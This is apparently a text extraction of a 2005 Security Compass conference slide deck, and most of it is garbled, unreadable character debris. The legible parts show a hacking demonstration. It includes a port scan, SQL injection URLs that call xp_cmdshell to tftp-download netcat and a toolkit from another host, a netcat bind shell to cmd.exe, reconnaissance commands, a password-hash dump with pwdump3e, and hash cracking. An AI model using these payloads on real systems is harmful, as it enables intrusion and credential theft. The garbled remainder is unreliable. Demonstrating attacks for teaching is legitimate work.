1
                   Securitycompass.com Showcase Ontario 2005     !"#$%%& '  #( # $% ) * +,    ) -  * . (
 / -       - 0  #-  -.  #1 ) # . -2
  $- -34 -  5  -3#$6 #- $  7 ' (  8  )     %    9  # $% )   %  :,,          2 Securitycompass.com Showcase Ontario 2005 )  Securitycompass.com Showcase Ontario 2005 4   $% 3 Securitycompass.com Showcase Ontario 2005  5  ) # 
 # #
3  # #
$  5 % )  
3% ;
3 

<
# % %
$ 

 % % Securitycompass.com Showcase Ontario 2005 = 5  >  
 ) 3% ;
# # ( ;   % ) 3 '
   ( (  ?     
$( ;
4@*#4 % ) 

      (     ) <
  %%    4 Securitycompass.com Showcase Ontario 2005 = 5  ) # 5 %
                 ) $ 
    %    %  )
 5 %
         )  3 3%
   %       Securitycompass.com Showcase Ontario 2005    A ) # 
3  # # )  

<

 5 %
3 ' 5 Securitycompass.com Showcase Ontario 2005 ) = 5  > #  )  # ) 3    ) #   Securitycompass.com Showcase Ontario 2005  # )  # sl -bhpvt 25,53,80,443,3389,100-200 192.168.15.110 9




  +B6+CD+:CE                 6 Securitycompass.com Showcase Ontario 2005 3 4 #  FG Securitycompass.com Showcase Ontario 2005 # 4 #   F$%%G( ;7 # H%F;I3G( %% J   H % H  +K:@+KL H  M 4  3. +B6+CD+:++, M 4  %. % M 4  . D, M # 4%. 9  6C +D.:D.:D 6,,: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH H #    -#-     (  H   M #. 5H33#@C, H 2 0HH  . #
4 M *#' HCK,. 33# %    3   7    N   @%   4   -.@@+B6+CD+:++,@% @- $H6,, ,H,CLB M  44 5. *43*#( 42$
( ;
4( 
 M 44 % O42$
O         3     *#' HDEE 7 Securitycompass.com Showcase Ontario 2005 ) = 5  >   )    )  @   ) < ) 3 ' Securitycompass.com Showcase Ontario 2005    8 Securitycompass.com Showcase Ontario 2005  @   ) 7   A
%
#%
3 % ) %   % FG ) #% F %   AG ) 3 % F
% 3 %G
  
  Securitycompass.com Showcase Ontario 2005  @   )   3    % %A

% 7 ) #%

% 7 ) 3 %
; F+  +,,(     %G 9 Securitycompass.com Showcase Ontario 2005 < ) 7   % ) #  %     %         %  F  G ) 7    )     %   @%A P% /P+6 ) 5 PQ++,,R Securitycompass.com Showcase Ontario 2005 < $ ) $ 3   %  A ) @%AP% /P
/ P% S S ) $    %       10 Securitycompass.com Showcase Ontario 2005
 5 % ) I    ) I    % ) I %    ) '
 Securitycompass.com Showcase Ontario 2005 3 ' > #T7 3? ) #T7 ?   N       H (   #T7 %%              )     %    %%      % FS%G T&   S% A & S%         % %%      5 #T7 # 11 Securitycompass.com Showcase Ontario 2005 3 ' > #T7 3? $ ) #T7 3? F%%    G ) exec master..xp_cmdshell 'tftp -i 192.168.15.67 GET nc.exe'-- [http://192.168.15.110/victim/welcome.asp?page=content_display.asp& category=2&id=2;%20exec%20master..xp_cmdshell%20'tftp -i 192.168.15.67 GET nc.exe'--] ) exec master..xp_cmdshell 'tftp -i 192.168.15.67 GET toolz.exe c:\toolz.exe'-- [http://192.168.15.110/victim/welcome.asp?page=content_display.asp& category=2&id=2;%20exec%20master..xp_cmdshell%20'tftp -i 192.168.15.67 GET toolz.exe c:\toolz.exe'--] ) exec master..xp_cmdshell 'nc -v -l -p 443 -e cmd.exe’-- [http://192.168.15.110/victim/welcome.asp?page=content_display.asp& category=2&id=2;%20exec%20master..xp_cmdshell%20'nc%20-v%20-l%20- p%20443%20-e%20cmd.exe'--] Securitycompass.com Showcase Ontario 2005   A $ %   %    nc –vvn 192.168.15.110 443 )  3 ipconfig /all [identify ip address] whoami [identify account name] tasklist /svc [services running] ) %   pwdump3e [dump account passwords] tasklist /svc [services running] 12 Securitycompass.com Showcase Ontario 2005 $  ) %    7   Pwdump3e \\localhost ) $   L0phtcrack or John Securitycompass.com Showcase Ontario 2005 '%
% 13 Securitycompass.com Showcase Ontario 2005 T F   G$%% '   #$%$% $ I Securitycompass.com Showcase Ontario 2005 #$%$% ) 9  6,,L ) $%.
9 +,,, 
9 #( 3( # ' ) $ .
# $%   N %   # 
   %   %   % %  %   14 Securitycompass.com Showcase Ontario 2005 # )  #.
$

 ) $ .
# % @  4
$%%  # %
 # %  
# 3 %
 4 Securitycompass.com Showcase Ontario 2005
 ) # $.  * K  L  $
       7 <  %       
        7        %  H%%   
  !"  7        
!# !" $       %      15 Securitycompass.com Showcase Ontario 2005 $% $ ) # $%           %  9( 7( #  U  ) # $%    %    % ) *           F 2
  $( 34 ( 3#$6 #7 $( # * 6,,:G